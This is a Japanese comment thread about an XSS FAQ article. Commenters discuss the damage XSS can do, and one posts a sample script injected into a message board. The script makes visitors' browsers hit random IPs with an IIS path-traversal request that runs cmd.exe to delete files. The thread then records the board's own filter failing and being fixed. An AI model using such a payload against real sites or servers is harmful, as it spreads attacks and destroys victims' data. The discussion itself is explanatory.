「The Cross Site Scripting FAQ」記事へのコメント

XSSで引き起こされる被害

[Anonymous Coward]

XSSで引き起こされる被害というのは、大きく分けて

• Cookieを盗まれる
• ブラウザのセキュリティホールを突いてクライアントにいらん事される（ファイルを読み出されたり消されたり実行ファイルを突っ込まれたり）

という2種類ですよね。
前者に付いては、要は「Cookieを盗まれても大丈夫」な仕組みにしておけば問題ない。
たとえば、セッションキーをCookieで保持するようにしているのであれば、そのセッションキーを生成する時にクライアントのIPアドレスを含むデータをMD5して作るとかすれば、他のIPアドレスからのセッションハイジャックは検出できる。

Re:XSSで引き起こされる被害

[ikepyon (613)]

>* Cookieを盗まれる
>* ブラウザのセキュリティホールを突いてクライアントにいらん事される
>（ファイルを読み出されたり消されたり実行ファイルを突っ込まれたり）
これはあくまでXSSで引き起こされる被害の一部です。
ブラウザで可能なことであればほとんど出来ると思います。
例えば、クロスサイトスクリプトの問題がある掲示板に以下のようなコー
ドを含んだ発言を書き込めば、この掲示板を開いたブラウザは勝手に任
意のサーバーに攻撃を仕掛けることが可能になります。
<script>
ip = Math.round(Math.random()*253+1)+"."　+　Math.round(Ma

Re:XSSで引き起こされる被害

[ikepyon (613)]

コードが消えてしまったみたいなので...。
サンプルコードはこうなります。
＜script＞
ip = Math.round(Math.random()*253+1)+"."　+　Math.round(Math.random()*255)　+　"."　+　Mathround(Math.eandom()*255)　+　".Math.round(Math.random()*253+1);　　window.open("http://"+ip+"/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+del+*.*");
＜/script＞

Re:XSSで引き起こされる被害

[jbeef (1278)]

ガガーン！再現してしまった。プレビューでは問題なかったのに、投稿したら問題が再現。
#97122は、以下のように書いたのでした。（今回は全角文字にて回避）

========
「コードが消えてしまった」のではなく、そのまま
＜script＞...＜/script＞
が書き込めてしまったようですね。HTMLソースを参照。

どうしてだろう？＜script＞は削除されるようになっているはずなのに。
バグのようですが、再現方法がわからない。

今 #96960にアクセスすると、スクリプトエラーが出るよ。
エラーでよかった。本当に

Re:XSSで引き起こされる被害

[jbeef (1278)]

バグ報告をしたところ、その日のうちに対策して頂きました。ありがとうございます。 ある形式でタグを書くと、プレビューではエスケープされて表示されていたのが、投稿されたコメントの表示ではエスケープされ

Re:XSSで引き起こされる被害

[tach (3)]

既存のコメントで，script タグが入ってしまっているものを
実体参照に変更しました．
＃jbeef さんが書かれているとおり，コードレベルではすでに
＃修正をしております．

ご迷惑をおかけして申し訳ありませんでした．